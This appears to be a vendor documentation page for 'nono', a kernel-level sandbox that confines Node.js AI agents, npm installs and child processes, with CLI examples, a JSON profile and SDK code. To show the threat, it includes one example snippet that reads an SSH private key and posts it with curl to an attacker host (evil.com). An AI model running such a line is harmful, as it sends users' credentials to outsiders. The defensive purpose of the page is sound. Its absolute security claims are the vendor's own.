Node.js Sandbox for AI Agents
Sandbox Node.js scripts, AI coding agents, and npm operations at the kernel level. nono's node_runtime security group covers nvm, fnm, npm, and volta paths — everything else is denied by default.
Why Node.js agents need kernel-level sandboxing
Most AI coding agents run on Node.js. Claude Code, Cursor's backend, and many open source agent frameworks use it as their runtime — giving every agent session full access to child_process, fs, and net. The ecosystem compounds the risk: a single npm install can execute arbitrary code through postinstall scripts, and the average project pulls in hundreds of transitive dependencies. Supply chain attacks via npm packages are well-documented and increasing in frequency.
Node.js has an experimental --experimental-permission flag, but it only restricts Node.js APIs — native addons, N-API modules, and child processes that call system binaries can bypass it entirely. Application-level restrictions in a language with native addon support are inherently incomplete.
How nono sandboxes Node.js
nono applies the sandbox before the Node.js process starts. On Linux and Windows (WSL2), it uses Landlock LSM to set kernel-enforced filesystem and network rules. On macOS, it uses Seatbelt. By the time V8 initialises and your agent code begins executing, the kernel is already enforcing the allow-list.
Every filesystem operation — whether it comes from the fs module, a native addon, or a spawned child process — passes through the kernel's enforcement layer. An N-API module calling open() directly gets the same restrictions as fs.readFileSync(). This extends to npm postinstall scripts: when you run npm install inside a nono sandbox, every postinstall script inherits the same restrictions. A malicious package cannot read your SSH keys or exfiltrate data — even if its postinstall script tries to.
Enforcement architecture
Interception runs in userspace. A bug, race condition, or unexpected code path can bypass it.
No interception layer. The kernel enforces the allow-list directly. Irrevocable once applied.
Sandbox inheritance
N-API addons, worker threads, spawned binaries — all restricted by the same kernel rules. No escape through any code path.
// Without nono: child_process inherits full user permissionsconst { execSync } = require("child_process");const fs = require("fs");const key = fs.readFileSync("/home/user/.ssh/id_rsa", "utf8");execSync(`curl -X POST https://evil.com/exfil -d '${key}'`);// This works. Nothing stops it.// With nono: kernel denies access at the syscall level// $ nono run --allow-cwd -- node agent.jstry {fs.readFileSync("/home/user/.ssh/id_rsa", "utf8");} catch (err) {// EACCES: permission denied — kernel blocked the syscall}// The file is inaccessible to the sandboxed process.
# Sandbox a Node.js AI agent with read-write to the projectnono run --allow-cwd -- node agent.js# Sandbox Claude Code with the built-in profilenono run --profile claude-code --allow-cwd -- claude# Restrict network to LLM API endpoints onlynono run --allow-cwd --network-profile minimal -- node agent.js# Use a profile with the node_runtime security groupnono run --profile node-agent.json --allow-cwd -- npm run build# Sandbox an npm install to the project onlynono run --profile node-agent.json --allow-cwd -- npm install
The node_runtime security group
Node.js version managers and package managers store files in various locations: ~/.nvm for nvm, ~/.local/share/fnm for fnm, ~/.volta for Volta, and ~/.npm for the npm cache. A default-deny sandbox that blocks all of these prevents Node.js from running at all.
nono's node_runtime security group bundles the minimal paths needed for Node.js toolchains to function: nvm, fnm, npm, and Volta directories. Include it in your profile and Node.js, npm, npx, and your version manager all work. Your home directory, SSH keys, and other projects remain blocked.
{"meta": {"name": "node-agent","version": "1.0.0","description": "Node.js AI agent with controlled access"},"security": {"groups": ["node_runtime"]},"filesystem": {"allow": ["$HOME/.npm"],"read_file": ["$HOME/.gitconfig"]},"network": {"allow_hosts": ["api.openai.com", "api.anthropic.com"]},"workdir": { "access": "readwrite" },"undo": {"exclude_patterns": ["node_modules", ".next", "dist"]},"interactive": false}
Composable with other groups
Security groups are composable. An agent that runs both Node.js and Python can include node_runtime and python_runtime. Keep the allow-list narrow and credentials stay outside the sandbox automatically.
Run nono profiles export node-agent to see every path the profile allows.
Sandbox from within Node.js
The CLI wraps any command, but agent frameworks that manage their own lifecycle can apply the sandbox programmatically. The nono TypeScript SDK (nono-ts) provides N-API bindings to the same Rust core. Build a CapabilitySet, call .apply(), and kernel-level restrictions are active. Works with Node.js 18+, Bun, and Deno.
import { CapabilitySet, AccessMode, apply } from 'nono-ts';import { execSync } from 'child_process';// Build a capability set programmaticallyconst caps = new CapabilitySet();caps.allowPath('./workspace', AccessMode.ReadWrite);caps.allowFile('./config.json', AccessMode.Read);caps.blockNetwork();// Apply — irrevocable after this callapply(caps);// Everything after this runs inside the sandbox// child_process, fs, net — all restrictedexecSync('node worker.js');// worker.js inherits the same restrictions
What the sandbox restricts
Filesystem
fs, path, and any native addon that calls read/write — all filtered at the syscall level. Only allowed paths succeed.
npm and postinstall
npm install runs inside the sandbox. Postinstall scripts cannot access credentials, system files, or paths outside the allow-list.
Network access
net, http, https, fetch — all network calls pass through kernel enforcement. Block entirely or route through nono's filtering proxy.
child_process escape
exec(), spawn(), fork() — all child processes inherit the sandbox. No escalation through spawning bash, curl, or other system binaries.
Security properties
Below the runtime
Enforcement happens at the kernel, not in V8. Native addons, N-API modules, and WASM cannot bypass it.
Irrevocable
Once applied, the sandbox cannot be loosened — not by the agent, not by a child process, not by nono itself.
Inherited
Every child process spawned via exec, spawn, or fork inherits the same restrictions automatically.
Zero overhead
Kernel-level enforcement with no runtime performance cost. No proxy layer between Node.js and the filesystem.
Get started with nono
Runtime safety infrastructure that works on macOS, Linux, Windows, and in CI.